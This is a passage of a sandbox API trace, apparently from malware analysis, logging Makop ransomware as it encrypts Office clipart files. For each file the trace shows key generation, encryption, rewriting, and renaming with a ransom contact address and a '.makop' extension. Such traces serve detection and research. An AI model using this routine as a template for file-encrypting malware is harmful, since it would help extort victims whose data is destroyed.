(hKey=0x48c7128) returned 1 [0129.868] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0129.868] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0129.868] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0129.868] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0129.868] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0129.869] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0129.869] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0129.869] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0129.869] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.869] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x2004, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x2004, lpOverlapped=0x0) returned 1 [0129.871] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x2010, dwBufLen=0x2010 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x2010) returned 1 [0129.871] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.871] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x2010, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x2010, lpOverlapped=0x0) returned 1 [0129.871] CryptDestroyKey (hKey=0x48c7128) returned 1 [0129.871] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x20e4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.871] SetEndOfFile (hFile=0xf0) returned 1 [0129.878] GetProcessHeap () returned 0x48a0000 [0129.878] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0129.878] GetProcessHeap () returned 0x48a0000 [0129.878] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0129.878] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200151.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0129.879] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200151.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200151.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200151.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200151.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0129.880] CloseHandle (hObject=0xf0) returned 1 [0129.880] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56583130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1c0c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0200163.WMF", cAlternateFileName="")) returned 1 [0129.880] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200163.WMF") returned 63 [0129.881] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200163.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200163.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0129.884] GetProcessHeap () returned 0x48a0000 [0129.884] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0129.884] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0129.884] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0129.884] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0129.889] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0129.889] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0129.889] GetProcessHeap () returned 0x48a0000 [0129.889] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0129.889] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0129.889] CryptDestroyKey (hKey=0x48c7128) returned 1 [0129.890] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0129.890] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0129.890] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0129.890] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0129.890] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0129.890] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0129.890] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0129.891] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0129.891] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.891] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x1c0c, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x1c0c, lpOverlapped=0x0) returned 1 [0129.892] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1c10, dwBufLen=0x1c10 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1c10) returned 1 [0129.892] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.892] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x1c10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x1c10, lpOverlapped=0x0) returned 1 [0129.893] CryptDestroyKey (hKey=0x48c7128) returned 1 [0129.893] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x1ce4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.893] SetEndOfFile (hFile=0xf0) returned 1 [0129.900] GetProcessHeap () returned 0x48a0000 [0129.901] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0129.901] GetProcessHeap () returned 0x48a0000 [0129.901] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0129.901] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200163.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0129.901] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200163.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200163.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200163.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200163.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0129.903] CloseHandle (hObject=0xf0) returned 1 [0129.903] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66031e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x14c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0200183.WMF", cAlternateFileName="")) returned 1 [0129.903] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200183.WMF") returned 63 [0129.903] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200183.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200183.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0129.904] GetProcessHeap () returned 0x48a0000 [0129.904] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0129.904] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0129.904] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0129.904] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0129.904] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0129.904] GetProcessHeap () returned 0x48a0000 [0129.904] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0129.904] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0129.904] CryptDestroyKey (hKey=0x48c7128) returned 1 [0129.904] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0129.949] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0129.949] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0129.950] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0129.950] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0129.950] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0129.950] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0129.950] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0129.950] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.950] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x14c0, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x14c0, lpOverlapped=0x0) returned 1 [0129.952] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x14c0, dwBufLen=0x14c0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x14c0) returned 1 [0129.952] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.952] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x14c0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x14c0, lpOverlapped=0x0) returned 1 [0129.953] CryptDestroyKey (hKey=0x48c7128) returned 1 [0129.953] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x1594, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.953] SetEndOfFile (hFile=0xf0) returned 1 [0129.960] GetProcessHeap () returned 0x48a0000 [0129.961] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0129.961] GetProcessHeap () returned 0x48a0000 [0129.961] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0129.961] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200183.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0129.961] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200183.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200183.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200183.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200183.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0129.963] CloseHandle (hObject=0xf0) returned 1 [0129.963] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66031e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1f7c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0200189.WMF", cAlternateFileName="")) returned 1 [0129.963] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200189.WMF") returned 63 [0129.963] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200189.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200189.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0129.964] GetProcessHeap () returned 0x48a0000 [0129.964] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0129.964] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0129.964] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0129.965] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0129.969] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0129.969] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0129.969] GetProcessHeap () returned 0x48a0000 [0129.969] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0129.969] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0129.969] CryptDestroyKey (hKey=0x48c7128) returned 1 [0129.969] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0129.970] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0129.970] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0129.970] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0129.971] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0129.971] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0129.971] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0129.971] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0129.971] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.971] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x1f7c, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x1f7c, lpOverlapped=0x0) returned 1 [0129.973] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1f80, dwBufLen=0x1f80 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1f80) returned 1 [0129.973] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.973] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x1f80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x1f80, lpOverlapped=0x0) returned 1 [0129.973] CryptDestroyKey (hKey=0x48c7128) returned 1 [0129.973] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x2054, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.974] SetEndOfFile (hFile=0xf0) returned 1 [0129.990] GetProcessHeap () returned 0x48a0000 [0129.990] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0129.990] GetProcessHeap () returned 0x48a0000 [0129.990] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0129.990] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200189.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0129.990] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200189.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200189.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200189.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200189.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0129.992] CloseHandle (hObject=0xf0) returned 1 [0129.992] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa65cc000, ftCreationTime.dwHighDateTime=0x1be3e98, ftLastAccessTime.dwLowDateTime=0x56583130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa65cc000, ftLastWriteTime.dwHighDateTime=0x1be3e98, nFileSizeHigh=0x0, nFileSizeLow=0x7a46, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0200273.WMF", cAlternateFileName="")) returned 1 [0129.992] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200273.WMF") returned 63 [0129.992] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200273.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200273.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0129.993] GetProcessHeap () returned 0x48a0000 [0129.993] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0129.994] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0129.994] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0129.994] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xa, lpOverlapped=0x0) returned 1 [0130.010] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0130.010] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 